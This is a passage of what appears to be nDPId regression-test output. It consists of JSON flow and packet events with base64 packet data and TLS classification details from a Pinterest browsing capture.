pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00458{"flow_id":35,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16234,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":60332,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4ACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqb5BC3JfgBAB9S94AAABAQgK1mJp6cK5a58="} +00458{"flow_id":35,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16235,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":60335,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4ACAGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqb5BC3blgBAB8Sr2AAABAQgK1mJp6cK5a58="} +00586{"flow_id":35,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16265,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":62693,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4AH0GQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqb5BC3blgBgB9RELAAABAQgK1mJp68K5a58WAwMAJRAAACEgaNang8FK8LSdyojqq4y5YGlQGQm\/5cxwIraPyaVriXQUAwMAAQEWAwMAKAAAAAAAAAAAdgfoh8okYLu+jzSq3JT4o3gSx7unHK4nzromGNrNgo0="} +00595{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16270,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":62959,"pkt_caplen":185,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":185,"pkt_l4_len":131,"pkt":"qtsDr8lk5EKm5WPyht1gBE+4AIMGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElpIBuyNNqhtBC3blgBgB9embAAABAQgK1mJp68K5a58XAwMAXgAAAAAAAAABzSSRAhr6zN1XdBsxJuzM7OCTixqzxoOHEHgN1hvKuwiWkto2bbBMsRVIJPJEirmTRf8QBvD3g\/IQ2xHTw+hZ42+KacKOLmz\/pKM3kboYI7GDQImdOec="} +00459{"flow_id":36,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16374,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":131664,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgG99QLvB6QgBALMFy2AAABAQgKwrlrtVhuYGE="} +02096{"flow_id":36,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16506,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177092,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgG99QLvB6QgBgLMN5WAAABAQgKwrlrvFhuYGEWAwMAegIAAHYDA5UI5gdLDNgpmwW5UBY3UuiT\/QjoPVLbYUAHAv78mNonIG0UA7UP8cWM1+OIpoJabPxwYFuj3vVPyVClxgciYoq4EwEAAC4AMwAkAB0AIBT8QXKcIfkxjiZrCMDl6nCPA9NCkgfIY9xLgT5ZUOwWACsAAgMEFAMDAAEBFwMDCsM5h0X\/nzMSCczNC0PiI3dPpqy72Uwh4UDMsCOwS9qqsPsDc3bD4zYkh1A+tFz3btUKdYkQupOAXRYbM2xF1LdOcDRF8JsDZlYIaXIJ8E5bFlJsnWCVejVFmKaXuIGER6LA0qt\/v2GPd5ezeyKXym45SsBlvb9kZfRyCN9udG2PU7YVPkY9TTPVHAE+auw18z7ZJkg3M\/DGXOqrikqt35TcEJM1vs+b2pS25DMZnpHeZqdEDqM5tT0pDLlP4TmfQJaU4AeeaL\/mifRtGmvCPibRTj\/Y4RrpYHx4XkZrFPTv6F53q4cc0AY4wh3HYJZqlqaPXsUvt4GwrLcx5CviR+jG8CmMkb9Mu5lGLsFQSXe4ednK+pKiEcWV9CgvQ+vrzOEGjUVwGVliIY8ZOsetkLIsdxSP+V6VL8DYK8nLpzuroP43bn1p0\/5BZtL216kpYY4Ev+eMHjhzRnsuzFjjOwVJ+TjwWHTxgjVcA5erfUHnZtb4tUPrnREt9fqLnQaqNk7+QoeOPwbZGGJUSrWqSG3w8ZTzou18WqXV3TOimt1BvxDB4SgOhKp2QPAQc2U120KMbsabc\/rXgGhdQ5dJkJiX6gShBZJdM4FTy8flUwBvInApxSjjycelOFsL7sjGFE5cCdMXVkF6AFSzZR\/flPGbsnjqMGUTL5tpfcpCxFEWLzLNPbEHsj1Y++EbilRlpakaU91RDAsBIUMHQZQmP0MF54kZcSaB+dLFxkfRR9jsBpKQZ+igCaQqgCsz++vQD2Rwtu1DFHT\/8q428YNeTI4T9EvFDyQj+EzO81UwHx6IWMmfHPh+G\/CZm4elpThmyrg5aE93WNFD11rc9yMJVECVGnAsq2KC7CfHDr6\/e2bea9CbRMdJBE6lWNaF51GXtlY5XIM6chYN5r2+xaNEnN8KxHMlYUHcX9XyQutL36LZIHPK\/vlWpyK5vAheoERQVyxUzINYHwLFvBbwOk8pqq0A3+bTmGt5ApdSayB+77gILcs5aX9QMR2FI77rMLRTAmEbBLE5ZNj5nO4O9Ro1\/XYQY4eH1xnbSdqEyLrS9mwitfpQmja38K+XotKgR8wnVlxAZh9WbhTJVCqovFAyyF1E2ADeoIT5vAWCmOoXgcPJySw5F+nybAI6Pw71t6WSrVMWvE3nZYyQgMYihC3XWaOzO47SC+\/\/YX1gwU3jBdrZjTX06hVQm+IXx8QlmUY0D\/1Q9QxxOKHHqEKcI97uhB4hvMZhiFNB\/F0aRhDMRVEWmlOjD+ejhTh17+KlRRK5WHbX9VxTQUtp2WAHNqgTWAK5wMMO+Z4VlZqCb\/Sp+icWdNBFpRLFMpnEwc9pVUTysgHDAH7heARAFp52s5CbRVB8OTQ7SCZYzIeO8Wbvz06UH57mD0x749JggTjRyRT++qI9CtyWxrgDrcRn10GHbQ=="} +00881{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":16506,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1605289732972,"flow_last_seen":1605289733177,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80a::200e","src_port":45126,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.google-analytics.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02104{"flow_id":36,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16507,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177092,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgG\/IwLvB6QgBgLMNoPAAABAQgKwrlrvFhuYGGcsACqGJ+Bdrd9CR5QBkLLBQDGPp\/4+peHMZ\/P7TH1K9JxIqL8JU8sxSUjrZsCyWxXGYladV+zA7FFQJx+QcqRoo\/vL3Vyi5h3BY\/xv5C+nshrtBA0fjWf5JhdZsTf+xoRwOWc5rzcqpoP3cKShvvN+eLSoAk8jI3de5\/fmjTNwqoO98dimz6fUNxAWmeFbSRhFwA2+nZVZIOv7\/APHyTx6W5ebbIyWMUdjsDB2Xd1BAjTyrqGbtMgX658KvDPZFPmLT78funYY7jRUwdSEDV65I7oSM2See3RCfx3Ph3v3jhvoUgVZ5Uzh3IClXbXiZGCxfGuk3iXU6puJ\/EaQWcrGHKgtH8rVLsYwGM7em4gF1mqELdm9pazZUkqzdJRD2W9D2m4kLK3mxThQtBlgicDiIwQKZMp3YqA\/9p6AoPZEJmWETLAQCeva3yND9lNiHnaXsb2IkjlweFjmk6dKzdH17zUfsbz2jb0HaqBnyzl1\/lR56PRG2qOzOBsCt34VLvZj2GtPzHFXZhrxLsKJdOLqOsUJu7b5MUzQsz+JeX5Lxlcz1\/xBuPevjzPF4rNXpXp92MRqqa\/X1DlPgwrS\/+LiLUfYr02sIq3KqJwd3aHfqgP6CaU0FZrysxjcoE4FJwxYN0pBGXLcdswo2I6rmOZUGcWi6X2fjQZglnmkwzRkwwqkWcFZeVxRNRTwCpKrfSZEsbeLmqDIihsL89YChpXvCJ0dJCJmG21yUJi7d1MLBUCDCMyhLRGdozXrLGQAFudDrKxG+h1WC9hQTmoTQY1wN\/r6IFcYi4iWBIMTGiNNuzz22kiouH6Kbh+2v3ReJagEX52xQif\/tBiECi97tMiUSIEHe5WCatTM2uzqXYIPJ4YaH9glgEXdUJ4sxinbgRy9eUONOk5+bWmeRrNDyh5eBaOrSRyD+Ts3blb76CvZGMVGBOJ824WnDIA0BPHH8LQT051pZWKVykT0yD7ZebrAErscH+RGkzuKe36izLiDli2X9cF08SFsRSZscY4BDP21jGPO2m3x+kkKZ\/8AOOWmxEI0uT9hgOtaOraBAqaH+VI2DfOmM8HTKKJNeOFJZXwnOL8g79wFCAUzqtk1TNCdB0bdqY4YeSILQY9JwcwUbrp2U5cK83a\/VO+be6OyZEf3QPdUVZ9ozjHjqbXbQH8qfs198z+xuXxxTkQ\/fFXvYoOg+7zm+V7SMxjJR\/S2FI14pCflRZJqaPvHqLBNedYK4jUxPRNWo0cvwcidX59yrlCVyRFcBppTvQtmtK6VgQAKppR\/SRLGyy7i+0Fw6rd1z71xsY5ojYjt0tMKZh4Kgz\/4kiZ2KsVcmCUy4LV0rpGXG7aAKFVqeTZqOcK1zKc7L9IcyudFA+FISPK\/PnK6lN6lZzNX53uPWwg4lvn8DfS+4xWZzzM180b7KIYJ6lytRxtmBgmC2WzQ\/i+dBTYzeQHzjaMky\/wqFzxW9\/cOLLnpI3T7GC5SF9OT7L0E6bJfJQhvA76e3hCkj+TiPh7WgHQwXNDYkNlmjLSYZLqdx0fQoV9fhO\/kn15e9Lpt5tb248UOnD6PniHSf+F09b\/9SP63jJOyv1N73tB+NapERQZHn4tXkUKBQ=="} +01108{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16508,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177094,"pkt_caplen":563,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":563,"pkt_l4_len":509,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAf0GPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgHAUQLvB6QgBgLMLamAAABAQgKwrlrvFhuYGG\/A9I2mfDeFj3h4eNmPL0BEwBQ+nxge90jZWoGVSDgvg7lM1kQmdokZZi6iCShIfusyw1BxhMvV9HIkt4B0RIrcjC0\/JzaAl2pIQvcPr1b5H4m06myheBjuOqwQHdRQdPgG10VRJGhZL5bANYp\/mTpa2U\/Fm3W3DHsZ45iQVd6u6j\/HA7ZyFDzOqp2LSTe2l9Hp2KDRW5rGJ8ncOcqEe+O3mAJ6Ha+7ISVEtStIWOP7z+lbFm9QUhQxLnZ\/7lss6Zddz+Iwa4jGPGZpm+mlMU96AhLhT3rWPISkOUpY+ThVQJ5WTwxTu5lUNH2n1dwTrnuuVIORiS8clcCSkXGETpbBbMDUPGvkYGEcsxmzbAbQJsmXV22L3QC1925Rl0qydU98gUuCHTwpY+xMuAn3ZImCRBu6cZO\/Rxj7zLz5YfulV8xh4w5I9Y0IN+ObaZv6pVOO5ydL46sWHEYDCrEo+kg2M2zaSuS8BmYozb7HFVQuTLM5mTpNBDfS0+5mTD6lsctCRmnJwfSpQpQJrxKklO+faAbyVd3NaqxLzPMkQGuv46w+glNWBcRFfdRa7mbr2HobKGiscLlYajHDDHzGAoM3NXzZ3owXVM\/+MdpSPWb29vmKZ2uI3lA\/nE\/KL8="} +00460{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16510,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177119,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HpBoBvyMgBAB9WCUAAABAQgKWG5g\/8K5a7w="} +00461{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16511,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177128,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HpBoBwFEgBAB8lvfAAABAQgKWG5g\/8K5a7w="} +00461{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16512,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":177133,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HpBoBwMhgBAB71oFAAABAQgKWG5g\/8K5a7w="} +00546{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16514,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":180068,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/AGAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HpBoBwMhgBgB9ZZlAAABAQgKWG5hAcK5a7wUAwMAAQEXAwMANSBkGOciRxn+DhoEuKPUPdeMDaN2FoclInMhiw86+q9tA94z7O4GEfyuGpUa4EF5CUzM+Gxx"} +00591{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16519,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":180338,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/AHwGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HtBoBwMhgBgB9YHrAAABAQgKWG5hAsK5a7wXAwMAV9Z0f\/aTIkJ\/8J9g6vFBI7bMcWLX+ScKw5ipxNKorRXzbm2lIJhhiKr1X0WW94xQUQ41grlgvgHY9RYV50x4Jd\/0HE1zd0yOV\/vwg+YZc9nl4K2npl2Cvw=="} +00820{"flow_id":36,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16549,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":183302,"pkt_caplen":351,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":351,"pkt_l4_len":297,"pkt":"qtsDr8lk5EKm5WPyht1gD7s\/ASkGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICgAAAAAAACAOsEYBuwu8HyxoBwMhgBgB9YFKAAABAQgKWG5hBcK5a7wXAwMBBE6c5eFodxV47c0sCu2TMFuLlXpjC3JpEKOiKXyV9XL3nd\/hGeW5lWO+C2cchhQxGq0n3DqgdNC1VPVVabt\/T2PxuK4JN+5pxPggU8ZMtAdU4SkkKMXk0I7gHOTbovaOvzpdtrD10TJfA1HT0nh5LU0wnCBSWO7WUh+XjMR57g7DvriR1GGimqCWehg93jLkGOViVXX8IEgCjWujKvYxn2Y9upJ9HsKLuLTeBI+Y5pwUDMRwI+bVFqhRrg3DnE\/iqcU\/FdD2\/N1McpvsGtpNOLuQRy1j7ghA3XTz36WxjuwGCEM4bOPBNhaqEN1MBRznFDQn7l1rRb2lxgUMey8pOU5t4vZc"} +00461{"flow_id":36,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16714,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":214754,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgKAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbuwRmgHAyELvB7QgBALOE\/hAAABAQgKwrlsVVhuYQE="} +00511{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17592,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1605289733399,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7a6e","src_port":40114,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17592,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":399863,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxlgkAAAAAoAL9IKzvAAACBAWgBAIICsW6TI0AAAAAAQMDBw=="} +00472{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17595,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":420828,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjoioAcZYKoBJXgB0AAAACBAV4AQMDAwQCCArCuW0jxbpMjQ=="} +00458{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17596,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":420877,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxlgpjo6IrgBAB+6D8AAABAQgKxbpMosK5bSM="} +01150{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17597,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":421383,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gBe6sAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXpunLIBuwBxlgpjo6IrgBgB+675AAABAQgKxbpMo8K5bSMWAwECAAEAAfwDA7uZ92OCVBC1xHN5t0YDziRYjgNrfeva8SX+HQQ5ROpDIGM8p3TwGS60madRKYlLsuurfXOUOAhO6IRjgC5z9cQPACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZOqqgAAAAAAGgAYAAAVanMtYWdlbnQubmV3cmVsaWMuY29tABcAAP8BAAEAAAoACgAIqqoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AEgAQBAMIBAQBBQMIBQUBCAYGAQASAAAAMwArACmqqgABAAAdACDbqzY6q3LDK4eXjQESdTDrPCFqSpzdCjXjZG6IpYhacgAtAAIBAQArAAsKmpoDBAMDAwIDAQAbAAMCAAL6+gABAAAVAMcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00821{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17597,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":4,"flow_first_seen":1605289733399,"flow_last_seen":1605289733421,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7a6e","src_port":40114,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"js-agent.newrelic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00460{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17599,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":457928,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjoisAcZgPgBALMJWdAAABAQgKwrltR8W6TKM="} +01872{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17600,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289733,"pkt_ts_usec":466833,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdlem4qAcsBIEmLB5kd7IUo3\/YpAbucsmOjoisAcZgPgBgLMK0VAAABAQgKwrltScW6TKMWAwMAUgIAAE4DA6S3cICMPT\/LNUFxi202HyoLHffP3c85cBW4hj+Z4kwOAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRDwsAEQsAEQgADHMwggxvMIILV6ADAgECAgxFxaKT0\/Q2N6QtMHMwDQYJKoZIhvcNAQELBQAwVzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExLTArBgNVBAMTJEdsb2JhbFNpZ24gQ2xvdWRTU0wgQ0EgLSBTSEEyNTYgLSBHMzAeFw0yMDEwMjMxMTAzMjVaFw0yMTA1MDcyMDI3NDlaMHcxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMRUwEwYDVQQKDAxGYXN0bHksIEluYy4xJDAiBgNVBAMMG2Y0LnNoYXJlZC5nbG9iYWwuZmFzdGx5Lm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK+4JYeaTR45GyRgIKpEGpg3YcVM6xbm9k8NQ4ua3msLRgz9bSdOIf4rCA7CSP44obIa2KErxXNeJdqcwhYMRo2jAUvKoRaRLTVoTJjJLCDzm9rpCWu4c\/8JVH3JbHiGeHh2sbCg6i+szJnRjMrUgupW3cp3be9vl\/7W84aac\/JNAHwMnNL5lgx1E+s\/VEmbPaN95oCPnU37nEc5FdB8yPiB0bw0agEoecACN9d0t+LDySbXTPD6zPIvnXGYS9DcX2h5pgP\/1rx62FXRPb7rAAmUk6\/cNPvOIS4lwr+GqFCJZJ2bndhKnmqfUOL1f3zWy1oSFTC0StfMO8zIBnloUI0CAwEAAaOCCRkwggkVMA4GA1UdDwEB\/wQEAwIFoDCBigYIKwYBBQUHAQEEfjB8MEIGCCsGAQUFBzAChjZodHRwOi8vc2VjdXJlLmdsb2JhbHNpZ24uY29tL2NhY2VydC9jbG91ZHNzbHNoYTJnMy5jcnQwNgYIKwYBBQUHMAGGKmh0dHA6Ly9vY3NwMi5nbG9iYWxzaWduLmNvbS9jbG91ZHNzbHNoYTJnMzBWBgNVHSAETzBNMEEGCSsGAQQBoDIBFDA0MDIGCCsGAQUFBwIBFiZodHRwczovL3d3dy5nbG9iYWxzaWduLmNvbS9yZXBvc2l0b3J5LzAIBgZngQwBAgIwCQYDVR0TBAIwADCCBqgGA1UdEQSCBp8wggabghtmNC5zaGFyZWQuZ2xvYmFsLmZhc3RseS5uZXSCCyouNTAwcHguY29tggsqLjUwMHB4Lm5ldIILKi41MDBweC5vcmeCFyouYWNjZXB0YW5j